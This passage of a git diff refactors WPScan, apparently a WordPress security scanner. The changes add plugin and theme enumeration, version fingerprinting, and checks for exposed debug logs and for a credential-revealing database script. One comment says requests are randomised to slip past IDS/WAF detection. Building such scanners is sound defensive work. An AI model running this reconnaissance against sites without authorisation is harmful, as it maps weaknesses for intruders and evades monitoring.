 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 class Vulnerable
 
-  attr_reader :vulns_xml, :vulns_xpath
+  attr_reader :vulns_file, :vulns_xpath
 
   # @return an array of WpVulnerability (can be empty)
   def vulnerabilities
     vulnerabilities = []
 
-    xml = Nokogiri::XML(File.open(@vulns_xml)) do |config|
+    xml = Nokogiri::XML(File.open(@vulns_file)) do |config|
       config.noblanks
     end
 
     xml.xpath(@vulns_xpath).each do |node|
       vulnerabilities << WpVulnerability.new(
-        node.search('title').text,
-        node.search('reference').text,
-        node.search('type').text
+        node.search("title").text,
+        node.search("reference").text,
+        node.search("type").text
       )
     end
     vulnerabilities
diff --git a/lib/wpscan/wp_detector.rb b/lib/wpscan/wp_detector.rb
new file mode 100644
index 00000000..40362e94
--- /dev/null
+++ b/lib/wpscan/wp_detector.rb
@@ -0,0 +1,75 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+class WpDetector
+
+  def self.aggressive_detection(options, items = [])
+    WpOptions.check_options(options)
+
+    result = items
+    if items == nil or items.length == 0
+      result = passive_detection(options[:base_url], options[:type], options[:wp_content_dir])
+    end
+
+    enum_results = WpEnumerator.enumerate(options)
+    enum_results.each do |enum_result|
+      already_present = false
+      result.each do |r|
+        # Already found via passive detection
+        if r.name == enum_result.name
+          already_present = true
+          break
+        end
+      end
+      unless already_present
+        result << enum_result
+      end
+    end
+    result
+  end
+
+  # plugins and themes can be found in the source code :
+  #   <script src='http://example.com/wp-content/plugins/s2member/...' />
+  #   <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
+  #   ...
+  def self.passive_detection(url, type, wp_content_dir)
+    items         = []
+    response      = Browser.instance.get(url)
+    regex1        = %r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/}
+    regex2        = %r{\\?/}
+    regex3        = %r{\\?/([^/\\"']+)\\?(?:/|"|')}
+    # Custom wp-content dir is now used in this regex
+    names = response.body.scan(/#{regex1}#{Regexp.escape(wp_content_dir)}#{regex2}#{Regexp.escape(type)}#{regex3}/i)
+
+    names.flatten!
+    names.uniq!
+
+    names.each do |item|
+      items << WpItem.new(
+          :base_url       => url,
+          :name           => item,
+          :type           => type,
+          :path           => "#{item}/",
+          :wp_content_dir => wp_content_dir,
+          :vulns_file     => ""
+      )
+    end
+    items
+  end
+
+end
diff --git a/lib/wpscan/wp_enumerator.rb b/lib/wpscan/wp_enumerator.rb
new file mode 100644
index 00000000..ba4bab5a
--- /dev/null
+++ b/lib/wpscan/wp_enumerator.rb
@@ -0,0 +1,137 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+# Enumerate over a given set of items and check if they exist
+class WpEnumerator
+
+  # Enumerate the given Targets
+  #
+  # ==== Attributes
+  #
+  # * +targets+ - targets to enumerate
+  # * * +:base_url+ - Base URL
+  # * * +:wp_content+ - wp-content directory
+  # * * +:path+ - Path to plugin
+  # * +type+ - "plugins" or "themes", item to enumerate
+  # * +filename+ - filename in the data directory with paths
+  # * +show_progress_bar+ - Show a progress bar during enumeration
+  def self.enumerate(options = {}, items = nil)
+
+    WpOptions.check_options(options)
+
+    targets = self.generate_items(options)
+
+    unless items == nil
+      items.each do |i|
+        targets << i
+      end
+    end
+
+    found = []
+    queue_count = 0
+    request_count = 0
+    enum_browser = Browser.instance
+    enum_hydra = enum_browser.hydra
+    enumerate_size = targets.size
+
+    targets.each do |target|
+      url = target.get_full_url
+
+      request = enum_browser.forge_request(url, { :cache_timeout => 0, :follow_location => true })
+      request_count += 1
+
+      request.on_complete do |response|
+        if options[:show_progress_bar]
+          print "\rChecking for #{enumerate_size} total #{options[:type]}... #{(request_count * 100) / enumerate_size}% complete."
+        end
+        if WpTarget.valid_response_codes.include?(response.code)
+          if Digest::MD5.hexdigest(response.body) != options[:error_404_hash]
+            found << target
+          end
+        end
+      end
+
+      enum_hydra.queue(request)
+      queue_count += 1
+
+      if queue_count == enum_browser.max_threads
+        enum_hydra.run
+        queue_count = 0
+      end
+    end
+
+    enum_hydra.run
+    found
+  end
+
+  protected
+
+  def self.generate_items(options = {})
+    only_vulnerable   = options[:only_vulnerable_ones]
+    file              = options[:file]
+    vulns_file        = options[:vulns_file]
+    wp_content_dir    = options[:wp_content_dir]
+    url               = options[:base_url]
+    type              = options[:type]
+    plugins_dir       = options[:wp_plugins_dir]
+    targets_url       = []
+
+    unless only_vulnerable
+      # Open and parse the 'most popular' plugin list...
+      File.open(file, "r") do |f|
+        f.readlines.collect do |line|
+          targets_url << WpItem.new(
+              :base_url       => url,
+              :path           => line.strip,
+              :wp_content_dir => wp_content_dir,
+              :name           => File.dirname(line.strip),
+              :vulns_file     => vulns_file,
+              :type           => type,
+              :wp_plugins_dir => plugins_dir
+          )
+        end
+      end
+    end
+
+    # Timthumbs have no XML file
+    unless type =~ /timthumbs/i
+      xml = Nokogiri::XML(File.open(vulns_file)) do |config|
+        config.noblanks
+      end
+
+      # We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
+      xml.xpath(options[:vulns_xpath_2]).each do |node|
+        name = node.attribute("name").text
+        targets_url << WpItem.new(
+            :base_url       => url,
+            :path           => name,
+            :wp_content_dir => wp_content_dir,
+            :name           => name,
+            :vulns_file     => vulns_file,
+            :type           => type,
+            :wp_plugins_dir => plugins_dir
+        )
+        end
+    end
+
+    targets_url.flatten! { |t| t.name }
+    targets_url.uniq! { |t| t.name }
+    # randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
+    targets_url.sort_by! { rand }
+  end
+end
diff --git a/lib/wpscan/wp_item.rb b/lib/wpscan/wp_item.rb
new file mode 100644
index 00000000..47d33928
--- /dev/null
+++ b/lib/wpscan/wp_item.rb
@@ -0,0 +1,154 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+require "#{WPSCAN_LIB_DIR}/vulnerable"
+
+class WpItem < Vulnerable
+  attr_reader :base_url, :path, :wp_content_dir, :name, :vulns_file, :vulns_xpath, :wp_plugins_dir, :type
+  @version = nil
+
+  def initialize(options)
+    @type           = options[:type]
+    @wp_content_dir = options[:wp_content_dir] ? options[:wp_content_dir].sub(/^\//, "").sub(/\/$/, "") : "wp-content"
+    @wp_plugins_dir = options[:wp_plugins_dir] || "#@wp_content_dir/plugins"
+    @base_url       = options[:base_url]
+    @path           = options[:path]
+    @name           = options[:name] || extract_name_from_url
+    @vulns_file     = options[:vulns_file]
+    @vulns_xpath    = options[:vulns_xpath].sub(/\$name\$/, @name) unless options[:vulns_xpath] == nil
+
+    raise("base_url not set")       unless @base_url
+    raise("path not set")           unless @path
+    raise("wp_content_dir not set") unless @wp_content_dir
+    raise("name not set")           unless @name
+    raise("vulns_file not set")     unless @vulns_file
+    raise("type not set")           unless @type
+  end
+
+  def get_sub_folder
+    case @type
+      when "themes"
+        folder = "themes"
+      when "timthumbs"
+        # not needed
+        folder = nil
+      else
+        raise("unknown type #@type")
+    end
+    folder
+  end
+
+  # Get the full url for this item
+  def get_full_url
+    url = @base_url.to_s.end_with?("/") ? @base_url.to_s : "#@base_url/"
+    # remove first and last /
+    wp_content_dir = @wp_content_dir.sub(/^\//, "").sub(/\/$/, "")
+    # remove first /
+    path = @path.sub(/^\//, "")
+    if type =="plugins"
+      # plugins can be outside of wp-content. wp_content_dir included in wp_plugins_dir
+      ret = URI.parse("#{url}#@wp_plugins_dir/#{path}")
+    elsif type == "timthumbs"
+      # timthumbs have folder in path variable
+      ret = URI.parse("#{url}#{wp_content_dir}/#{path}")
+    else
+      ret = URI.parse("#{url}#{wp_content_dir}/#{get_sub_folder}/#{path}")
+    end
+    ret
+  end
+
+  # Gets the full url for this item without filenames
+  def get_url_without_filename
+    location_url = get_full_url.to_s
+    valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
+    unless valid_location_url
+      valid_location_url = add_trailing_slash(location_url)
+    end
+    URI.parse(valid_location_url)
+  end
+
+  # Returns version number from readme.txt if it exists
+  def version
+    unless @version
+      response = Browser.instance.get(get_full_url.merge("readme.txt").to_s)
+      @version = response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
+    end
+    @version
+  end
+
+  # Is directory listing enabled?
+  def directory_listing?
+    # Need to remove to file part from the url
+    Browser.instance.get(get_url_without_filename).body[%r{<title>Index of}] ? true : false
+  end
+
+  # Extract item name from a url
+  def extract_name_from_url
+    get_full_url.to_s[%r{^(https?://.*/([^/]+)/)}i, 2]
+  end
+
+  # To string. Adds a version number if detected
+  def to_s
+    item_version = version
+    "#@name#{' v' + item_version.strip if item_version}"
+  end
+
+  # Compare
+  def ==(other)
+    other.name == self.name
+  end
+
+  # Compare
+  def ===(other)
+    other.name == self.name
+  end
+
+  # Compare
+  def <=>(other)
+    other.name <=> self.name
+  end
+
+  # Url for readme.txt
+  def readme_url
+    get_url_without_filename.merge("readme.txt")
+  end
+
+  # Url for changelog.txt
+  def changelog_url
+    get_url_without_filename.merge("changelog.txt")
+  end
+
+  # readme.txt present?
+  def has_readme?
+    unless @readme
+      status = Browser.instance.get(readme_url).code
+      @readme = status == 200 ? true : false
+    end
+    @readme
+  end
+
+  # changelog.txt present?
+  def has_changelog?
+    unless @changelog
+      status = Browser.instance.get(changelog_url).code
+      @changelog = status == 200 ? true : false
+    end
+    @changelog
+  end
+
+end
diff --git a/lib/wpscan/wp_options.rb b/lib/wpscan/wp_options.rb
new file mode 100644
index 00000000..c68320ff
--- /dev/null
+++ b/lib/wpscan/wp_options.rb
@@ -0,0 +1,51 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+# Options Hash
+#
+# ==== Options
+#
+# * +url+ - The base URL of the WordPress site
+# * +only_vulnerable_ones+ - Only detect vulnerable items
+# * +file+ - Filename with items to detect
+# * +vulns_file+ - XML file with vulnerabilities
+# * +vulns_xpath+ - XPath for vulnerability XML file
+# * +vulns_xpath_2+ - XPath for vulnerability XML file
+# * +wp_content_dir+ - Name of the wp-content directory
+# * +show_progress_bar+ - Show a progress bar during enumeration
+# * +error_404_hash+ - MD5 hash of a 404 page
+# * +type+ - Type: plugins, themes
+class WpOptions
+  def self.check_options(options)
+    raise("base_url must be set")             unless options[:base_url] != nil and options[:base_url].to_s.length > 0
+    raise("only_vulnerable_ones must be set") unless options[:only_vulnerable_ones] != nil
+    raise("file must be set")                 unless options[:file] != nil and options[:file].length > 0
+    raise("vulns_file must be set")           unless options[:vulns_file] != nil and options[:vulns_file].length > 0
+    raise("vulns_xpath must be set")          unless options[:vulns_xpath] != nil and options[:vulns_xpath].length > 0
+    raise("vulns_xpath_2 must be set")        unless options[:vulns_xpath_2] != nil and options[:vulns_xpath_2].length > 0
+    raise("wp_content_dir must be set")       unless options[:wp_content_dir] != nil and options[:wp_content_dir].length > 0
+    raise("show_progress_bar must be set")    unless options[:show_progress_bar] != nil
+    raise("error_404_hash must be set")       unless options[:error_404_hash] != nil and options[:error_404_hash].length > 0
+    raise("type must be set")                 unless options[:type] != nil and options[:type].length > 0
+
+    unless options[:type] =~ /plugins/i or options[:type] =~ /themes/i or options[:type] =~ /timthumbs/i
+      raise("Unknown type #{options[:type]}")
+    end
+  end
+
+end
diff --git a/lib/wpscan/wp_plugin.rb b/lib/wpscan/wp_plugin.rb
index 86b43e0b..7315771a 100644
--- a/lib/wpscan/wp_plugin.rb
+++ b/lib/wpscan/wp_plugin.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,43 +14,16 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
-require "#{WPSCAN_LIB_DIR}/vulnerable"
-
-class WpPlugin < Vulnerable
-  @@location_url_pattern = %r{^(https?://.*/([^/]+)/)}i
-
-  attr_reader :name
-
-  def initialize(location_url, options = {})
-    @location_uri = WpPlugin.location_uri_from_url(location_url)
-    @name         = options[:name] || WpPlugin.extract_name_from_location_url(location_url)
-    @vulns_xml    = options[:vulns_xml] || DATA_DIR + '/plugin_vulns.xml'
-    @vulns_xpath  = "//plugin[@name='#{@name}']/vulnerability"
-  end
-
-  def location_url
-    @location_uri.to_s
-  end
-
-  def ==(plugin)
-    plugin.name == @name
-  end
-
-  def <=>(plugin)
-    plugin.name <=> @name
-  end
-
-  # http://code.google.com/p/wpscan/issues/detail?id=97
-  def version
-    response = Browser.instance.get(@location_uri.merge("readme.txt").to_s)
-    response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
-  end
-
-  def to_s
-    version = version()
-    "#{@name}#{' v' + version if version}"
+class WpPlugin < WpItem
+  def initialize(options = {})
+    options[:vulns_file]    = (options[:vulns_file] != nil and options[:vulns_file] != "") ?
+        options[:vulns_file] : DATA_DIR + "/plugin_vulns.xml"
+    options[:vulns_xpath]   = "//plugin[@name='$name$']/vulnerability"
+    options[:vulns_xpath_2] = "//plugin"
+    options[:type]          = "plugins"
+    super(options)
   end
 
   # Discover any error_log files created by WordPress
@@ -59,44 +32,11 @@ class WpPlugin < Vulnerable
   # however can also be found in their specific plugin dir.
   # http://www.exploit-db.com/ghdb/3714/
   def error_log?
-    response_body = Browser.instance.get(error_log_url(), :headers => { "range" => "bytes=0-700"}).body
+    response_body = Browser.instance.get(error_log_url(), :headers => {"range" => "bytes=0-700"}).body
     response_body[%r{PHP Fatal error}i] ? true : false
   end
 
   def error_log_url
-    @location_uri.merge("error_log").to_s
-  end
-
-  # Is directory listing enabled?
-  # WordPress denies directory listing however,
-  # forgets about the plugin directory.
-  def directory_listing?
-    Browser.instance.get(location_url()).body[%r{<title>Index of}] ? true : false
-  end
-
-  def self.create_location_url_from_name(name, target_uri)
-    if target_uri.is_a?(String)
-      target_uri = URI.parse(target_uri)
-    end
-    target_uri.merge(URI.escape("$wp-plugins$/#{name}/")).to_s
-  end
-
-  def self.create_url_from_raw(raw, target_uri)
-    target_uri.merge(URI.escape("$wp-plugins$/#{raw}")).to_s
-  end
-
-  protected
-  def self.extract_name_from_location_url(location_url)
-    location_url[@@location_url_pattern, 2]
-  end
-
-  def self.location_uri_from_url(location_url)
-    valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
-
-    unless valid_location_url
-      valid_location_url = add_trailing_slash(location_url)
-    end
-
-    URI.parse(valid_location_url)
+    get_full_url.merge("error_log").to_s
   end
 end
diff --git a/lib/wpscan/wp_target.rb b/lib/wpscan/wp_target.rb
index 1988ce5d..59fa5a64 100644
--- a/lib/wpscan/wp_target.rb
+++ b/lib/wpscan/wp_target.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 class WpTarget
   include WebSite
@@ -26,6 +26,7 @@ class WpTarget
   include WpUsernames
   include WpTimthumbs
   include WpPlugins
+  include WpThemes
   include BruteForce
 
   @error_404_hash = nil
@@ -50,7 +51,8 @@ class WpTarget
     url = @uri.merge("wp-login.php").to_s
 
     # Let's check if the login url is redirected (to https url for example)
-    if redirection = redirection(url)
+    redirection = redirection(url)
+    if redirection
       url = redirection
     end
 
@@ -70,6 +72,11 @@ class WpTarget
     @error_404_hash
   end
 
+  # Valid HTTP return codes
+  def self.valid_response_codes
+    [200, 403, 301, 302, 500]
+  end
+
   # return WpTheme
   def theme
     WpTheme.find(@uri)
@@ -77,17 +84,19 @@ class WpTarget
 
   # return WpVersion
   def version
-    WpVersion.find(@uri)
+    WpVersion.find(@uri, wp_content_dir)
   end
 
   def wp_content_dir
     unless @wp_content_dir
       index_body = Browser.instance.get(@uri.to_s).body
+      # Only use the path because domain can be text or an ip
+      uri_path = @uri.path
 
-      if index_body[%r{/wp-content/(?:themes|plugins)/}i]
+      if index_body[/#{Regexp.escape(uri_path)}\/wp-content\/(?:themes|plugins)\//i]
         @wp_content_dir = "wp-content"
       else
-        @wp_content_dir = index_body[%r{(?:href|src)=(?:"|')#{@uri}/?([^"']+)/(?:themes|plugins)/.*(?:"|')}i, 1]
+        @wp_content_dir = index_body[/(?:href|src)\s*=\s*(?:"|').+#{Regexp.escape(uri_path)}([^"']+)\/(?:themes|plugins)\/.*(?:"|')/i, 1]
       end
     end
     @wp_content_dir
@@ -95,14 +104,18 @@ class WpTarget
 
   def wp_plugins_dir
     unless @wp_plugins_dir
-      @wp_plugins_dir = wp_content_dir() + "/plugins"
+      @wp_plugins_dir = "#{wp_content_dir}/plugins"
     end
     @wp_plugins_dir
   end
 
+  def wp_plugins_dir_exists?
+    Browser.instance.get(@uri.merge(wp_plugins_dir)).code != 404
+  end
+
   def has_debug_log?
     # We only get the first 700 bytes of the file to avoid loading huge file (like 2Go)
-    response_body = Browser.instance.get(debug_log_url(), :headers => { "range" => "bytes=0-700"}).body
+    response_body = Browser.instance.get(debug_log_url(), :headers => {"range" => "bytes=0-700"}).body
     response_body[%r{\[[^\]]+\] PHP (?:Warning|Error|Notice):}] ? true : false
   end
 
@@ -110,4 +123,57 @@ class WpTarget
     @uri.merge("#{wp_content_dir()}/debug.log").to_s
   end
 
+  # Script for replacing strings in wordpress databases
+  # reveals databse credentials after hitting submit
+  # http://interconnectit.com/124/search-and-replace-for-wordpress-databases/
+  def search_replace_db_2_url
+    @uri.merge("searchreplacedb2.php").to_s
+  end
+
+  def search_replace_db_2_exists?
+    resp = Browser.instance.get(search_replace_db_2_url)
+    resp.code == 200 && resp.body[%r{by interconnect}i]
+  end
+
+  # Should check wp-login.php if registration is enabled or not
+  def registration_enabled?
+    resp = Browser.instance.get(registration_url)
+    # redirect only on non multi sites
+    if resp.code == 302 and resp.headers_hash["location"] =~ /wp-login\.php\?registration=disabled/i
+      enabled = false
+    # multi site registration form
+    elsif resp.code == 200 and resp.body =~ /<form id="setupform" method="post" action="[^"]*wp-signup\.php[^"]*">/i
+      enabled = true
+    # normal registration form
+    elsif resp.code == 200 and resp.body =~ /<form name="registerform" id="registerform" action="[^"]*wp-login\.php[^"]*"/i
+      enabled = true
+    # registration disabled
+    else
+      enabled = false
+    end
+    enabled
+  end
+
+  def registration_url
+    is_multisite? ? @uri.merge("wp-signup.php") : @uri.merge("wp-login.php?action=register")
+  end
+
+  def is_multisite?
+    unless @multisite
+      # when multi site, there is no redirection or a redirect to the site itself
+      # otherwise redirect to wp-login.php
+      url = @uri.merge("wp-signup.php")
+      resp = Browser.instance.get(url)
+      if resp.code == 302 and resp.headers_hash["location"] =~ /wp-login\.php\?action=register/
+        @multisite = false
+      elsif resp.code == 302 and resp.headers_hash["location"] =~ /wp-signup\.php/
+        @multisite = true
+      elsif resp.code == 200
+        @multisite = true
+      else
+        @multisite = false
+      end
+    end
+    @multisite
+  end
 end
diff --git a/lib/wpscan/wp_theme.rb b/lib/wpscan/wp_theme.rb
index 125d495a..79a18f53 100644
--- a/lib/wpscan/wp_theme.rb
+++ b/lib/wpscan/wp_theme.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,20 +14,22 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 require "#{WPSCAN_LIB_DIR}/vulnerable"
 
-class WpTheme < Vulnerable
+class WpTheme < WpItem
 
-  attr_reader :name, :style_url, :version
+  attr_reader :style_url, :version
 
-  def initialize(name, options = {})
-    @name        = name
-    @vulns_xml   = options[:vulns_xml] || DATA_DIR + '/wp_theme_vulns.xml'
-    @vulns_xpath = "//theme[@name='#{@name}']/vulnerability"
-    @style_url   = options[:style_url]
-    @version     = options[:version]
+  def initialize(options = {})
+    options[:vulns_file]    = (options[:vulns_file] != nil and options[:vulns_file] != "") ?
+        options[:vulns_file] : DATA_DIR + "/wp_theme_vulns.xml"
+    options[:vulns_xpath] = "//theme[@name='$name$']/vulnerability"
+    options[:type]        = "themes"
+    @version              = options[:version]
+    @style_url            = options[:style_url]
+    super(options)
   end
 
   def version
@@ -39,7 +41,6 @@ class WpTheme < Vulnerable
     @version
   end
 
-
   def self.find(target_uri)
     self.methods.grep(/find_from_/).each do |method_to_call|
       theme = self.send(method_to_call, target_uri)
@@ -49,11 +50,6 @@ class WpTheme < Vulnerable
     nil
   end
 
-  def to_s
-    version = version()
-    "#{@name}#{' v' + version if version}"
-  end
-
   def ===(wp_theme)
     wp_theme.name === @name and wp_theme.version === @version
   end
@@ -62,13 +58,19 @@ class WpTheme < Vulnerable
 
   # Discover the wordpress theme name by parsing the css link rel
   def self.find_from_css_link(target_uri)
-    response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
+    response = Browser.instance.get(target_uri.to_s, {:follow_location => true, :max_redirects => 2})
 
-    if matches = %r{https?://[^"]+/themes/([^"]+)/style.css}i.match(response.body)
+    matches = %r{https?://[^"']+/themes/([^"']+)/style.css}i.match(response.body)
+    if matches
       style_url = matches[0]
       theme_name = matches[1]
 
-      return new(theme_name, :style_url => style_url)
+      return new(:name            => theme_name,
+                 :style_url       => style_url,
+                 :base_url        => style_url,
+                 :path            => "",
+                 :wp_content_dir  => ""
+      )
     end
   end
 
@@ -77,13 +79,18 @@ class WpTheme < Vulnerable
     body = Browser.instance.get(target_uri.to_s).body
     regexp = %r{<meta name="generator" content="([^\s"]+)\s?([^"]+)?" />\s+<meta name="generator" content="WooFramework\s?([^"]+)?" />}
 
-    if matches = regexp.match(body)
-      woo_theme_name        = matches[1]
-      woo_theme_version     = matches[2]
+    matches = regexp.match(body)
+    if matches
+      woo_theme_name = matches[1]
+      woo_theme_version = matches[2]
       woo_framework_version = matches[3] # Not used at this time
 
-      return new(woo_theme_name, :version => woo_theme_version)
+      return new(:name            => woo_theme_name,
+                 :version         => woo_theme_version,
+                 :base_url        => matches[0],
+                 :path            => "",
+                 :wp_content_dir  => ""
+      )
     end
   end
-
 end
diff --git a/lib/wpscan/wp_user.rb b/lib/wpscan/wp_user.rb
new file mode 100644
index 00000000..7894d5f7
--- /dev/null
+++ b/lib/wpscan/wp_user.rb
@@ -0,0 +1,39 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
+class WpUser
+  attr_accessor :name, :id, :nickname
+
+  def initialize(name, id, nickname)
+    @name     = name ? name : "empty"
+    @id       = id ? id : "empty"
+    @nickname = nickname ? nickname : "empty"
+  end
+
+  def <=>(item)
+    item.name <=> @name
+  end
+
+  def ===(item)
+    item.name === @name and item.id === @id and item.nickname === @nickname
+  end
+
+  def eql?(item)
+    item.name === @name and item.id === @id and item.nickname === @nickname
+  end
+end
\ No newline at end of file
diff --git a/lib/wpscan/wp_version.rb b/lib/wpscan/wp_version.rb
index 2cfb348c..1e81e522 100644
--- a/lib/wpscan/wp_version.rb
+++ b/lib/wpscan/wp_version.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 require "#{WPSCAN_LIB_DIR}/vulnerable"
 
@@ -25,7 +25,7 @@ class WpVersion < Vulnerable
   def initialize(number, options = {})
     @number           = number
     @discovery_method = options[:discovery_method]
-    @vulns_xml        = options[:vulns_xml] || DATA_DIR + '/wp_vulns.xml'
+    @vulns_file       = options[:vulns_file] || DATA_DIR + '/wp_vulns.xml'
     @vulns_xpath      = "//wordpress[@version='#{@number}']/vulnerability"
   end
 
@@ -36,9 +36,13 @@ class WpVersion < Vulnerable
   #
   # The order in which the find_from_* methods are is important, they will be called in the same order
   # (find_from_meta_generator, find_from_rss_generator etc)
-  def self.find(target_uri)
+  def self.find(target_uri, wp_content_dir)
+    options = {
+        :base_url       => target_uri,
+        :wp_content_dir => wp_content_dir
+    }
     self.methods.grep(/find_from_/).each do |method_to_call|
-      version = self.send(method_to_call, target_uri)
+      version = self.send(method_to_call, options)
 
       if version
         return new(version, :discovery_method => method_to_call[%r{find_from_(.*)}, 1].gsub('_', ' '))
@@ -54,14 +58,16 @@ class WpVersion < Vulnerable
   #
   # The meta tag can be removed however it seems,
   # that it is reinstated on upgrade.
-  def self.find_from_meta_generator(target_uri)
-    response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
+  def self.find_from_meta_generator(options)
+    target_uri = options[:base_url]
+    response = Browser.instance.get(target_uri.to_s, {:follow_location => true, :max_redirects => 2})
 
     response.body[%r{name="generator" content="wordpress ([^"]+)"}i, 1]
   end
 
-  def self.find_from_rss_generator(target_uri)
-    response = Browser.instance.get(target_uri.merge("feed/").to_s, :follow_location => true, :max_redirects => 2)
+  def self.find_from_rss_generator(options)
+    target_uri = options[:base_url]
+    response = Browser.instance.get(target_uri.merge("feed/").to_s, {:follow_location => true, :max_redirects => 2})
 
     response.body[%r{<generator>http://wordpress.org/\?v=([^<]+)</generator>}i, 1]
   end
@@ -85,36 +91,49 @@ class WpVersion < Vulnerable
   #
   #  /!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)
   #
-  def self.find_from_advanced_fingerprinting(target_uri)
-    xml = Nokogiri::XML(File.open(DATA_DIR + '/wp_versions.xml')) do |config|
+  def self.find_from_advanced_fingerprinting(options)
+    target_uri = options[:base_url]
+    # needed for rpsec tests
+    version_xml = options[:version_xml] || DATA_DIR + "/wp_versions.xml"
+    xml = Nokogiri::XML(File.open(version_xml)) do |config|
       config.noblanks
     end
 
     xml.xpath("//file").each do |node|
+      wp_content = options[:wp_content_dir]
+      wp_plugins = "#{wp_content}/plugins"
       file_url = target_uri.merge(node.attribute('src').text).to_s
+      file_url = file_url.gsub(/\$wp-plugins\$/i, wp_plugins).gsub(/\$wp-content\$/i, wp_content)
       response = Browser.instance.get(file_url)
-      md5sum   = Digest::MD5.hexdigest(response.body)
+      md5sum = Digest::MD5.hexdigest(response.body)
 
       node.search('hash').each do |hash|
         if hash.attribute('md5').text == md5sum
-         return hash.search('versions').text
+          return hash.search('versions').text
         end
       end
     end
     nil # Otherwise the data['file'] is returned (issue #107)
   end
 
-  def self.find_from_readme(target_uri)
+  def self.find_from_readme(options)
+    target_uri = options[:base_url]
     Browser.instance.get(target_uri.merge("readme.html").to_s).body[%r{<br />\sversion #{WpVersion.version_pattern}}i, 1]
   end
 
   # http://code.google.com/p/wpscan/issues/detail?id=109
-  def self.find_from_sitemap_generator(target_uri)
